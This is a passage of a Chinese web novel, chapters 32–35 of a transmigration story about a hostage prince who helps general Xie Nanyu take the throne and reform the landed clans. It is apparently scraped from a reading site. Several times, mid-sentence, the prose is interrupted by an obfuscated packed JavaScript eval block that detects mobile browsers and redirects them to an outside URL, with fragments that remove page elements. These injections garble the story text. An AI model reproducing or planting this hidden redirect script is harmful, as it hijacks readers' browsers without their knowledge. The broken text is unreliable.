“我一直在想,像你这样多疑的人,为什么要轻信一个无名小卒提供的消息,为什么在毫无征兆的情况下,他要突然杀掉一手提拔的将领……” 而且这个将领在一定程度上可以在军中掣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14157544|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肘男主。 原来这就是真相。 面前的人已经收起了看热闹的心思,转而开始惊疑不定。 “你知不知道,你在这说出来会……”引起军中哗变的。 他说着说着突然停了,他能想到的,舒明尘不会想不到,甚至,舒明尘是明知结果,也要说出来。 察觉到了背后的意图,李淮景甚至有些不可置信。 “你故意的。” 这件事真假无所谓,因为在有心之人的安排下,假的也会变成真的。 恍悟过来的李淮景讽刺地笑了下。 “你真是个疯子!你如此帮他,他答应了你什么?” 舒明尘懒得回答这个问题。 而就在他们聊天的间隙,已有士兵将这消息飞速地传了出去。 而他,要进行下一步了。 前任镇北王的人是谢南渝的父亲谢承瑾,谢承瑾平易近人,向来能和士兵打成一片,在镇北军的名声颇好,到现在也有不少士兵念着他。 而现在舆论一经散播,便有愈演愈烈的趋势。 等谢南渝意识到的时候,舒明尘已跪在他的面前,他的身后还有许许多多士兵。 “将军,先王不明身死,乃是当今陛下所为,陛下身为我邺国皇帝,却谋求与敌国联合,弃百姓不顾,弃江山不顾,在其位而杀忠良,是为不仁也。” “今皇室争权,皇子叛国,乃至朝政混乱,而将军忠肝义胆,持正不阿,斩奸臣而除敌国,乃天命之人也。” “求,陛下顺应天命,而继大位,既为先王,也为百姓,由此还昭昭日月,朗朗乾坤。” 他俯首再拜。 身后,是一群乌泱泱的人头,也随着他的动作喊道:“求陛下顺天命,继大位!” 数万将士齐齐叩首。 谢南渝既没有动,也没有说话。 这合该是他需要的,大权在握,又有兵权,只是需要一个正当的名义。 可这这一切来的如此突然,又如此顺利。 他又想起簌簌的雪,舒明尘在见到他之后说:“不必救我。” 原来这就是原因,这就是你一定要以叛国的罪名死掉的原因。 你要让将士相信,你要让世人相信,邺国的皇室就是这样腐败而又毫无希望,让皇室失人心而我便可得天下。 可是我呢? 我又为你做了什么? 是初见的漠视,再见的试探,而后紧随的威胁; 是当初肆意斩杀的使臣,是后来随意安置的破败宫殿,是重伤垂危的无视。 对不起。 总是我对不起你。 总是我踩着你的辛苦谋算,而无知无觉地享受结果。 32.炮灰质子(32) 人心,是谢南渝登基前的最后一个关隘,就这么被舒明尘惊天一举给铺平了。 此处离京城有段距离,却是恰到好处,消息在此处流传出去,可信度要高得多。 虽然这件事的发生利好现在的形势,但同时安抚将士,做好其他工作也同样重要。 忙忙碌碌的一天过去,谢南渝疲惫地回到营帐,远远地看到营帐外站着一个人。 是舒明尘。 在刚刚进入视线的范围,对方也向他这个方向微微偏了偏头,随后,连带着他营帐前的值守也一同跪下。 “参见陛下。” 舒明尘其实很烦古代这种动不动就下跪的规矩,但现在既然已经走到这一步,断没有特立独行一说。 他原是皇子,这些礼数他应该是最熟悉的。 因着俯首的姿势,因此他也看不见来人的脚步顿了顿,脸色都有些古怪,随后快步走了过来,说道:“平身。” 舒明尘神色如常起身。 “在下,有要事禀报。” 他咬了咬字,于是谢南渝就挥挥手,一行人便都留在了外面。 谢南渝原就是将军,是镇北军的最高统帅,他的营帐规格自然是最高的,何况今日事情突变,他的营帐只会变得更好。 舒明尘刚刚踏入的是营帐外间,营帐的主人一般会在这里处理公务。 而有外间自然就有内间,因为舒明尘口中的“要事”,谢南渝索性抬脚往更深处走去。 “这件事……” 他犹豫地开了口,本来很荒诞的事情,但被舒明尘认真分析了一通,竟然有些令人信服。 “哦,我瞎说的。” 他也是今天见到李淮景,再结合这个世界之前发生的事情,胡乱诌了一个流言。 正好能帮助主角快速上位。 主角越顺利,这个世界越稳定,任务等级评定越高。 这还是舒明尘骚扰小系统,无意间套出来的。 果然。 这下轮到舒明尘了,他无意识地绞了绞衣角,面上却还是神色如常: “等回到京城,我想见他一面。” 这个“他”是谁,不言而喻。 谢南渝点头表示同意。 这并不算是什么过分的要求,他也没有拒绝的道理。 答应了。 舒明尘偷偷松了口气。 话毕,他起身要走,这次倒是没有行礼,俨然一副理所应当的样子。 “等等。” “回到京城之后,带你去一个地方。” 嗯? 什么地方? 舒明尘不解。 谢南渝微微笑了笑:“到时候就知道了。” 还吊人胃口。 谢南渝一行人进京之时,百官列队相迎,为首的顾流川声音铿锵有力:“臣携百官恭迎陛下凯旋。” …… 谢南渝干的不错啊,京城里的官员看来收拾的差不多了。 舒明尘坐在马车里,一边吃着糕点,一边还和系统感叹主角就是不一样,军权在手,文官也被收服地服服帖帖的。 他自是不知道那些不服的都被投进大狱了。 能被选为迎接新任陛下的,自然都是谢南渝的亲信。 马车碾压过街道而又踏上宫道,等舒明尘侧耳察觉到外面变得安静又肃穆的时候,他已经在皇宫里面了。 他掀帘望去,只看到两侧巍巍的宫墙,四周静默无声的宫人,以及骑在马上的谢南渝。 ……话说为什么他也要进宫。 谢南渝冲他比了个口型。 哦对! 他还要去牢狱看看原主的父皇。 躺了多天的脑子就是不好用哈。 相比舒明尘在晋国带的天牢,邺国先皇所在的牢狱条件还算不错。 听见有人来,这位曾经的皇帝目带急切的望去,看到来人并不是他期望的那个人,又失望地撇开目光。 舒明尘稍稍扬了扬手,示意引路人和两侧士卒退下,眼下这间专门为先皇准备的牢房内只有他们两人。 舒明尘抬头,盯着那一小扇窗透过来的光,微微眯了眯眼。 “我费了很大的功夫才得以见到陛下,陛下怎么如此冷淡?” 他这样说,身子却不动,依旧那样懒散地站在光下,看样子并不在乎对方的态度如何。 他名义上的父皇打量了许久,最终确定自己并不认识。 大约是谢南渝新提拔的一个世家公子吧。 “朕不想见你。” “我知陛下想见之人,”舒明尘顿了顿,余光观察着对方,“是沈司。” 对方没有否认,他已经向狱卒说了多次,眼下这人知道,也不过是从狱卒嘴里听到的而已。 他并不意外。 舒明尘笑笑。 “不如这样,陛下和我聊会天,就几句,明天,沈司自然会出现在这里。” “如何?” 面前的人沉默了下,似是在思考,不多时,便应道:“你说。” “我想问问,陛下为什么,要联合晋国,坑杀自己的将军?” 他说的很慢,在寂静的尘埃里,怦然化作了一声惊雷。 先皇猝然起身,刚开了话头,就听到对方说: “我自晋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14176973|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国而来,晋国已亡,晋国皇帝亲口承认,眼下流言已传遍京城,民众沸反盈天,陛下还是想清楚再说。” 先皇深吸了口气,阴翳道:“朕没有做这种事!” 他再不济也是邺国的皇帝,怎么会联合敌国杀害自己的将军! 就算他看镇北军不顺眼,就算他曾经再如何厌恶谢家父子,这种事也绝不是他做出来的! 舒明尘见火候差不多了,再逼下去就不好了。 “或许,我可以帮陛下。” 和先皇相似的眉眼眨了眨,随后主人勾勒出了一个无害的笑容。 “……你想要什么?” 天下从来没有免费的筵席。 更何况如今的他又有什么值得对方特意关照的呢? 舒明尘却并不顺着对方的话走。 “过几天,陛下就不必在这待着了,会有新的宫室和宫人等着陛下。”说完,他话锋一转。 “陛下之前想要见沈司,不就是这个原因吗?” 先皇似乎理解了什么,有些不确定地问道: “你想让朕……” 舒明尘伸出食指,比了个“嘘”的动作。 一切尽在不言中。 “那朕不见他了。” “不,陛下要见,至于其他的要求,你也要提。” 舒明尘拉近距离,轻声说了几句。 “明日,这样做,懂了吗?” 他点点头,又霍然看见面前突然放大的脸,有些不确定地问道:“朕,是不是见过你?” 舒明尘愣了下,随后若无其事地回道:“在下当年,确实有幸得见陛下。” 然后就被扔到晋国了。 这种见面其实不要也罢。 先皇自是不知道舒明尘心里的弯弯绕绕,左右他的诉求得到满足,现下让他做什么都行。 初经变故,他也曾大吵大闹、歇斯底里,可最后也不过是被困在这牢笼里,接受现实。 事已至此,最后挣扎一番也不过是想给自己换个好的境遇罢了。 舒明尘最后看了一眼原主名义上的父皇,晚年变故让他看上去苍老了很多,远没有记忆中那么威严,动辄几句话便可以定人生死命运的权柄彻底离他远去了。 如今的他,看上去也只是一位保养得宜的老人。 “在下告退。” 舒明尘躬身行了一礼,算是代替原主全了一场父子情分。 先皇此时才意识到,似乎对方一直称他为陛下,在目前这个情况可以说是十分怪异。 他正要再说点什么,这个清瘦的人影便立刻消失了。 像是从未来过。 33.炮灰质子(33) 谢南渝要他来的地方原来是先镇北王——也就是他父亲的墓,舒明尘上前,恭恭敬敬地上了柱香。 他其实觉得他在这位的心里恐怕也不是什么好形象,而且人家亲儿子在这,何必当人家父子两人的背景板,就打算先退到一边。 哪知谢南渝还没等他走呢,就开始聊上了。 舒明尘先是惊讶了一瞬,还没等他快步逃离大型父子倾诉衷肠的现场,整个人又僵在了那。 因为谢南渝这话是对他说的,而且说的还是—— “其实他不是我父亲,正确地说,我应该叫他小叔。” 舒明尘呆滞地望了望谢南渝,确定对方是认真的,又转过头看了看沈司和云容,发现两人神色如常。 显然两人早就知道了。 他这才艰难地说道:“可是你们……”挺像的。 谢南渝笑了笑,目光落在眼前的墓碑上,似是在怀念:“小叔说,我其实和父亲更像。” “我父亲本来想去母亲家提亲,但当时战事紧迫,他只能先随军队出征。但……” 回来的只有一副棺木。 直到很久之后,小叔才找到了他们母子,带回了谢家。 但母亲本来就是靠着父亲的执念活着,突闻噩耗,既哀又痛,不多时便去世了。 两位当事人都去世了,小叔没有办法,只能说这是他的孩子,母亲已经去世了。 好在小叔之前整日招猫逗狗,言行放纵,骤然冒出一个亲生儿子,虽然有些骇人听闻,但又联想到之前的行为,众人便也都接受了。 之后的小叔一边要接管军队,一边学着照顾他,久而久之,竟然觉得这样似乎也还不错。 况且谢家满门忠烈,既没有可以主持此事的长辈,陛下也没有主动提起此事的打算,于是亲事就这么被耽误了。 后来的事情就是舒明尘所知道的了,等到他见到对方的时候,已经是新一任威名赫赫的镇北王了。 哦,原来是这样子。 谢南渝看着还没缓过神来的舒明尘,开玩笑道:“怎么?后悔了?” 啊,这有什么后悔的,唯一后悔的就是屁股没擦干净。 眼看着舒明尘的状态变了,谢南渝这才拿出那枚玉佩,这算是他小叔的遗物,还是还给小叔吧。 舒明尘起先还不知道谢南渝要干什么,直到那玉佩跌进泥土里,又重新被掩埋住,他才明白。 于是他想了想,说了句:“谢谢你,不过还是希望你下辈子平安顺遂,别再丢东西了。” 也别遇见这糟心事了。 他放眼望去,整个陵园空旷静穆,庄严凛然。 只是相比其他先祖和他兄长的陵墓,他面前这座显然有些小,孤身奋战的年轻将军,最终也只有他的长剑陪在他身侧。 察觉到了气氛压抑,谢南渝还故作轻松地说: “我记得小叔那时候还挺喜欢孩子的,没事就喜欢逗我和沈司,还有云容,云容小时候总是追着小叔要饭吃。” “噗嗤——”,舒明尘在一边乐不可支,“还有这事?” 云容不好意思地挠挠头,他小时候村子遭了灾,他跟着大队伍走出来,不知道饿了多少天才得救。 后来他就来到了军营,军营自然是不可能让他吃不饱的,但可能那段挨饿的日子给他带来了阴影,只要没有饱腹感就会觉得饿。 那时候谢将军刚接管军营,样子也年轻,被云容以为好说话,初生牛犊不怕虎,士兵一个没看住,云容就蹭蹭蹭地窜上前去。 结果别的小孩一看云容这么干了,就呼啦啦的一群都围上去了。 谢南渝还记得那时候他也是第一次到军营,就看见他小叔被一溜小孩追着要饭吃。 气的小叔还以为管饭的张伯伯没给这群孩子吃饱。 现在想起那时候的日子,真跟做梦一样。 送到军营里的孩子差不多都和云容一样,家里遭了这样那样的灾,父母没了,让这么小的孩子出去讨生活显然也是饥一顿饱一顿。 倒不如送到军营里,一来是军营沉闷,有孩子在还能多点欢乐;二是战事不断,也不能总是临时抽调,从军营里长大的孩子更适应军队的节奏,比一般人要好。 不过以后不会了。 眼下战事已平,谢南渝思考着总得建一个地方,总不能以后再出现这样的事,孩子还去军营吧。 而且和平年代,也不需要那么多士兵了。 他这想法刚冒出了点头,舒明尘那边就已经把大体框架都给想好了。 舒明尘:不用谢,这都是现代社会福利院的功劳。 谢南渝想旁敲侧击地问舒明尘对侍中这个官职感不感兴趣,哪知他刚隐约地表现出了一点苗头,舒明尘就顾左右而言他地问道: “我的伤好像快好了。” 他摊开自己的手,光洁白皙,除了关节处有些怪异,赫然是一双养尊处优的手。 其实舒明尘自己是感觉不出来的,但系统科普好像是风湿一类的。 沈司瞅了瞅道:“那恢复地还挺快的。” 舒明尘:“等我的伤好了,我要离开京城,去各个地方看一看。” 惹不起他还躲不起吗? 等他走地远远的,随便喝点酒,找个河啊海啊的,一跳就完事。 另外三人:…… “为什么不留在这里?我不会因为你的身份……” 舒明尘摇摇头,坚持道:“与别的没有关系,我想走出去,而不是只局限于一个地方。” 那也可以封一个当地的官职…… 谢南渝将没有说出口的话咽了下去,他知道,舒明尘就是不愿意。 回去的路上气氛显得很滞涩,当然仅限于谢南渝和沈司,舒明尘和云容在另一辆马车上轻松愉快地聊着天。 因为有同在晋国的经历,他总是会更亲近云容。 两人不约而同地想着。 此时的舒明尘:给两个主角创造了独处空间,我真是个好助攻! 殊不知此时的两个主角正在讨论: “我前两天去见了先皇,他说请我看在当初父亲一案上,他也算是秉公处理,求我帮帮他。” 这是沈司。 谢南渝沉吟许久说道:“前一天,他也去见过。” 难道是舒明尘让先皇这么说的? 毕竟是父子…… 而且寻个宫室圈禁起来也不是什么难事。 新皇登基,大赦天下,同时朝廷官员开始新一轮的洗牌。 其中以顾流川为尚书令,沈司为尚书中司侍郎,云容为卫尉,总领宫城安危。此外各地官员也多有调动。 在这当中最引人瞩目的便是陈昀杉,从一城县令被调为一州长史,在一众调度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14197001|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中可谓独树一帜。 顾流川最近可谓春风得意,顾氏是门阀世家,在这样的大家族里成为话语人已然不俗,更别提,他还一举坐到了正二品的官职。 且新皇与他关系不浅,他不但有从龙之功,还和新皇有血亲之缘,几乎可以想象到之后的朝堂将会是一种什么局面。 在打发了一众同僚后,他满面红光地来到了祠堂,这里供奉着顾家列祖列宗。 他先是毕恭毕敬地上了炷香,直到仆从退下,整个祠堂空无一人,爽朗笑声才开始响起。 对着眼前众多牌位,他激动道:“父亲,你看见了吗?阿婉的心上人原是谢家那位,她还生了一个儿子,是当今的皇帝。” 他心潮澎湃,对着面前的列祖列宗承诺道: “我们顾家,将会是第一世家!” 烛火颤动不已,他的影子映在明明暗暗的光影中,有些可怖。 在祠堂待了许久,顾流川才再次神色如常走了出来。 小厮熟练地递上茶水,顾流川抬手接过,啜了口茶水后问道:“史益来了吗?” “回老爷,按您的吩咐,史大人已在书房候了一刻钟了。” 他点点头,又不慌不忙地朝着书房走去。 两人见面又是好一番寒暄,史益自是不可能埋怨久等之苦,不仅如此,他脸上的褶子都快笑出花了。 虚假的热情褪去,接下来便开始进入正题了。 “那个陈公子的身份,查到了吗?” “没有,只是传言说对方似乎和云容出身相似……” “这不可能。” 当初迎接新皇时,风吹车帷,他远远见过一面,虽然看不真切,但那通身气度,可不是寻常人家培养出来的。 “只是陛下也没有给他官职,顾兄是不是过虑了?” 虽是如此,但他心中总是不踏实,那个侍中的位子,可还没定下呢。 他之前提了几次,都被陛下挡了回去,侍中官职不大,但确实晋升最快的,这个位置,自然要握在顾家手里。 何况,陛下当初说“已有人选”,他谢南渝周围还有什么人? 不就那么一个了吗? 一个毫无背景的人,想从他顾家嘴里夺权,还嫩了点。 “我记得,史老弟似乎在宫中有不少人脉?” 史益点点头,史家不少女子曾入宫为妃,经年累月下来,在宫里也攒了不少人脉。 可是也得陛下选秀之后才能派上用场啊。 顾流川老成地笑了笑,附耳过去说了几句。 “这……” 这万一被陛下发现了,可是杀头的罪! “老弟放心,不是什么要人命的东西,只是这人无名无分地住在宫中,总是不妥,待此人病重,我再从中说和几句,把人弄出宫也就罢了。” “此事若事发,罪责我一人承担,绝不连累老弟。” 他拍了拍史益的肩膀,似是无意般提起: “再说了,我听说,令郎似乎牵扯进了前朝的事,这搞不好,可是杀头灭族的罪。” 史益咬咬牙,他就是为这事来的,本来也没想对方多么轻易答应,可如今 …… 罢了,伸头也是一刀,缩头也是一刀。 他一拍板:“好,我干!” 顾流川这才露出了一个真心实意的笑容。 34.炮灰质子(34) 登基之路无比顺畅的谢南渝在上位后遇到了众多难题。 首当其冲的就是前朝牵扯甚广,导致目前朝政上很多官职空缺,各个世家门阀纷纷自荐。 谢南渝哪里不知道他们心中的弯弯绕,朝臣中超过八成出自世家,长此以往,门阀怕是会蒸蒸日上。 他只能借口说,要等下一次科举才好确定人选。 如此,这件事才算是暂时揭过去。 但世家门阀如此势大,断不能放任不管,还得尽快想出解决之策才行。 可是科举制度实行了这么久,如陈昀杉之流依旧很难突破世家大族的封锁,做到朝臣的位置。 削落门阀之路任重而道远啊。 他和沈司多次商议,最终也没能确定一个根本办法。 舒明尘听说了之后倒是提了一句可以在土地上下功夫。 沈司为难道:“可是目前均田制已经深入人心,若是想推倒重新建立一个,阻力很大。” 到时候世家出身的朝臣都得拧成一股绳跟他们对抗。 “我说的不是邺国的,而是原先晋国的土地。”舒明尘用手比划了一下。 晋国无旧门阀,无贵族,倒是好实施。谢南渝思衬着。 可是那边土地贫瘠而天气又苦寒居多,即便实施又能获得多少收益? “就是这样,我们才要在那边实施不一样的制度,如此也合理。今后无论获得何等功衔,都不再有土地赏赐,仅有爵位、金银,土地属于国家。” “已经送出去的,我们不管,但是还没有落实的土地,都归国家所有。” 世家如此强大,就是因为名下土地、人力的大量化,这样最起码可以一定程度上遏制他们的膨胀。 沈司补充道:“除此之外,还得颁布政令,禁止土地买卖、兼并和转让,确保平民各有其地……” 也要防止世家私自向农民买卖土地。 “对。” 沈司觉得舒明尘每次都能刷新一下他的认知,这种权力斗争的倾轧中,他总是会找出一条独特的道路。 舒明尘刻意没有回应沈司亮晶晶的小眼神,又继续说道: “你们现在恢复科举,兴办学堂就干的很好,前朝虽然兴科举,但到底学堂少,能通过科举入仕的寒门子弟也就更少。” 其实主要是知识,知识好比绳子,要向下流通,下面的人才有可能利用自己获得的知识向上攀爬。 这么一说,好像压低书本价格也十分重要。 谢南渝想。 他带着满腹疑惑来,走的时候却是脚步轻快,他刚刚即位,倒是想大刀阔斧地大干一场,只是事情总得一步步做。 就先从处理世家牵连前朝的案子开始好了。 沈司还建议判的结果要有轻有重,这样世家便会相互猜忌,人心不齐,到时候清算也是得心应手。 舒明尘倒是很佩服主角大刀阔斧改革的勇气,他想了想,只靠他们自己闭门造车根本行不通,倒不如去找个熟悉世家的人了解一下情况。 要说最了解的人,当然是——原主的父皇。 可以说每任皇帝都想削落世家,原主的父皇想要兵权也是想在一定程度上对抗世家。 他反正现在也还在皇宫里,去找人倒也方便。 而关于他住在皇宫里这件事,他也曾经理直气壮地说他要搬到到宫外去住。 彼时谢南渝看了他半晌,给舒明尘看得表情都绷不住了,才慢悠悠地说,宫里有御医随时照料,恢复地快点。 舒明尘脑子转了转。 恢复快=离开主角=随地大小死=下班 于是他又悻悻地接受了现实。 还喜提每天早晚中药大礼包。 一次反抗换来了喝不完的药,舒明尘后来都快喝自闭了,还是系统安慰了很久才强打起精神。 先皇对于舒明尘的到来很惊讶,一方面他是前朝的皇帝,就算在大街上随便拉一个人也知道离他越远越好; 另一方面在他心里认为舒明尘应该算是新皇眼前比较得脸的人,不好好巴结谢南渝,跑到他这来干什么。 知道舒明尘开口说了几句话他才明白过来。 感情是到他这取经验来了。 他对于现在谢南渝的处境并不关心,甚至非要说的话,他心里还有点幸灾乐祸的成分。 但这最后的倔强很快被眼前插在桌子上的刀给吓没了。 他本来还想说点“你没权私自处置”的话吓吓对方,但看着来人一脸的无所谓,他又默默地把话咽了下去。 朝政更迭,世家都忙着抱新皇的大腿,又有谁能站出来为他说话。 于是舒明尘就开启了每天的聊天日常。 谢南渝倒是不怎么管,他忙着和那些世家斗智斗勇呢。 “你很聪明。” 舒明尘握笔的姿势暂停了一下,掀了掀眼皮,看着先皇手里那张纸。 是他写的“井田制”。 他最近来的频繁,有时候懒得换地方,直接就着新鲜出炉的灵感,在这直接写了。 先皇执政多年,对国家情况也算了解,虽然后来歌舞升平,奢靡度日,但他前期也确实可以称得上勤君。 如今清苦日子过久了,又日复一日地和对方谈论世家啊、朝政啊,竟也似乎回到了当初意气风发的年纪。 于是他便也一眼就能看出这里面的内容是很有价值的。 然后这张纸就被抽走了,他眼看着舒明尘上下扫视了一眼,最后点点头道:“确实。” 先皇:…… 殊不知此刻的舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14220715|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明尘正对着系统夸夸:“统统,你好聪明!” 他哪里懂得什么井田制,还是系统给他科普了一下不同时代的土地制度。 系统透明的光圈微微泛红,高兴得左右摇摆。 先皇很少夸人,少有的几次也总是面前的人行着礼说着“不敢当”,像舒明尘这种大剌剌接受的还是头一个。 他在兵荒马乱的心情中勉强挤出了一句话:“你姓陈?”他听见这里的宫人都是这么称呼的。 舒明尘敷衍得点点头。 他现在姓陈名明,就是把原本的名字颠倒了一下而已。 陈家不是世家。 “那你什么时候见过我?” 舒明尘似笑非笑地看了他一眼。 “别想了,你猜不到的。” 你那死去的儿子活生生地站在你面前,你就算想破天也想不到。 剩下的时间两人默默无言。 舒明尘忙着继续给井田制填补漏洞,先皇一边端着自己高高在上的姿态,一边又实在好奇,内心煎熬。 今天又是充实的一天! 舒明尘伸了个懒腰,没管在那纠结的先皇,自顾自地走了。等先皇从思绪中抽出神来,又是一阵气闷。 秋高气爽,是个出游的好天气。云容约了他去喝翡翠轩新出的桂花酿。 金黄的酒液在杯中微微晃动,舒明尘尝试着喝了一口,入口绵甜,带着些许桂花的清香,确实好喝。 他端起酒杯一饮而尽。 “别光顾着喝酒,来,这里的招牌菜。” 这道翡翠金翅还没入口,舒明尘就听到了一声抱怨:“好啊你们两个,亏我还找了那么久,竟然在这里吃独食!” 他回头一看,是沈司。 舒明尘只能无奈放下了美食,玩笑道:“哪里哪里,这不是知道你会找过来吗?看,筷子都准备好了。” 这自然是酒楼给食客准备的,舒明尘两人是二楼单间,也不知道沈司是怎么找过来的。 沈司勉强接受了这套说辞,他倒是不客气,拿起筷子就吃,还自顾自地给自己倒了一杯酒。 对面云容的脸色已经黑成了锅底。 酒足饭饱,舒明尘说起了新制度推行过程中遇到的种种阻碍,他其实有意识地想培养一下云容的政客思维,但就算他把事情掰开了揉碎了,云容也还是一知半解。 好吧,可能有些人就是不适合名利场。 算了,什么也不懂也挺好的。 只要抱紧主角大腿。 于是舒明尘语重心长地对云容嘱咐着以后就跟着陛下走,陛下让他干嘛他干嘛就行了。 等舒明尘所乘坐的马车消失在视线里,沈司才嘴贫道:“啧,装的还挺像。” 云容斜睨了他一眼,不置可否。 35.炮灰质子(35) 舒明尘再去见先皇的时候明显感觉这人心情不好,但他还是和往常一样,恍若未觉。 直到青羽两手抓着一堆糖葫芦过来,说是有人从宫外送进来,本来是送到他的宫殿,但他人不在那,又辗转送到这了。 舒明尘看这量还挺多,就索性一人分了一个,连先皇也没落下。 于是先皇就目瞪口呆地看着满殿啃糖葫芦的人。 岂有此理! 若是这件事发生在之前,他岂容宫人这么放肆! 但他的怒气还没发出来,舒明尘从糖渣中抬起头来,问道:“你不吃?” 不吃给他,他爱吃。 岂有此理! 还敢抢他的东西。 于是气鼓鼓的小老头泄愤般咬了一口手里的糖葫芦。 舒明尘遗憾收回了目光。 但老年人显然对这种食物接受无能,啃了两口还是觉得有点硌牙,看着面前吃的正欢的舒明尘,忍不住问道: “你家没教导过你在外面吃饭的礼仪吗?” 虽然并非世家,但能培养出这样一个人,至少家资不错。 世风讲究用餐时言行举止,要优雅、得体,像舒明尘这种举动显然难登大雅之堂。 舒明尘抽了个空回道:“这又不是在吃饭。” 之后他又觉得这话属实煞风景,实在影响了他对美食的享受,又刺了一句:“你事真多。” 先皇:…… 他被气了个仰倒。 真真是岂有此理! 但也正是多亏了舒明尘三天两头地来这跑,大概是看在来人的面子上,也不好苛待他。 这宫里的人,最爱捧高踩低,他怎么会不知道。 不过这段好日子现在看来也快到头了。他知道的东西都抖落地差不多了,暂且安慰的时光已经不能持续多久。 后来几日果然如他所想,那人离开后再没来过,他又回到了一潭死水的日子。 而舒明尘此时正在殿里督促青羽学习,他在刚醒的时候本来想让青羽回去的,毕竟青羽是晋国人,何必和他来到邺国。 但青羽解释说她是罪臣之后,在晋国已经没有亲人了,就算把她放到民间,她也不知道如何谋生,希望舒明尘能留下她。 都这样说了,舒明尘只得带着她回到邺国。 青羽自小长在内廷,对宫廷事务应该比较熟悉,舒明尘觉得对她来说,留在宫中当个女官也不错。 只是女官考试也有明经之类儒、道经义,青羽认些字,但充入内廷之时年纪太小,到底认不全,所以舒明尘在给她补课。 他家小弟满腹经纶,辅导个小姑娘还是不成问题的。 以及为了让谢南渝打消让他入朝为官的念头,他现在已经开始“热衷”于学医了。 本来原主多病,连带着舒明尘为了活下去都懂了不少药理知识。 倒是顺理成章。 以至于谢南渝知道这件事的时候,沉默了很久,他大概想劝一劝,但看到舒明尘“兴致盎然”的样子,遗憾地说了句:“好吧。” 他见了一颗明珠,又见明珠蒙尘,隐入尘烟。 谢南渝眼前这一主一仆都在忘我地学习,倒显得他在这有些多余。 但他本来就是想在这偷点闲,这种安静祥和的氛围却是极好,于是他便舒展了身体,任由视线随便落在某处。 这一看,便瞧见了在殿门口徘徊的沈司。 沈司来时走路带风,到了门口反而开始踌躇,迟迟踏不进去,还是谢南渝把他招呼进来的。 他一向爱恨分明,行事从不拖泥带水,这幅样子连舒明尘都开始好奇沈司到底怎么了。 沈司对上舒明尘的眼神,心底又是一颤,半推半就说道:“先皇想见你。” 他还是没有勇气把那件事说出来。 倒是旁边的谢南渝了然地点点头。 舒明尘在宫人眼里印象很好,但目的达到之后,他便不再去了,宫人有时还会偶尔说起他,时间久了,倒是让先皇无意中得知了他的名字。 陈明。 一个很普通的名字。 但他总觉得这个名字有些熟悉。 他在嘴边念叨着,宫人听到也不以为意,这位只要安分守己,说什么话做什么事,与他们有何关系。 直到有一天,他终于想起,那个他气急之下扔去晋国的皇子,叫舒明尘。 加上在宫人嘴里,这个人确确实实是从晋国回来的。 那个陈公子说他们见过,他们确实见过,那时他高高在上,哪里会想到去看清一个在宫中几乎透明的皇子的长相。 之后再见,自然也无从相认。 他拿不准这个没见过几次面的儿子对他是什么感情,但总归他们是父子,这将是他后半生里唯一的依靠。 他想见一个人,可他现在什么都不是,只能靠着手里捏着的、关于沈司父亲的隐秘来要挟。 沈司就这么知道了。 跟谢南渝想的也差不多。 至于先皇的要求 ,舒明尘自然是拒绝。 他还纳闷就这么一件小事,沈司怎么吞吞吐吐的。 只是还没来得及发出疑问,沈司就被谢南渝带走了,说是还有一些政务要处理。 舒明尘看着俩人的背影,感叹了一句爱情的花火真是随时随地出现。 此刻沈司气闷道:“所以你什么都知道。” 就是不告诉他。 他这次是真生气了。 明明是他父亲的事,一个两个都不告诉他,都瞒着他,舒明尘也就算了,怎么连这个人都不说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14252944|148043||http|test|mini|href|location''.split(''|''),0,{})); 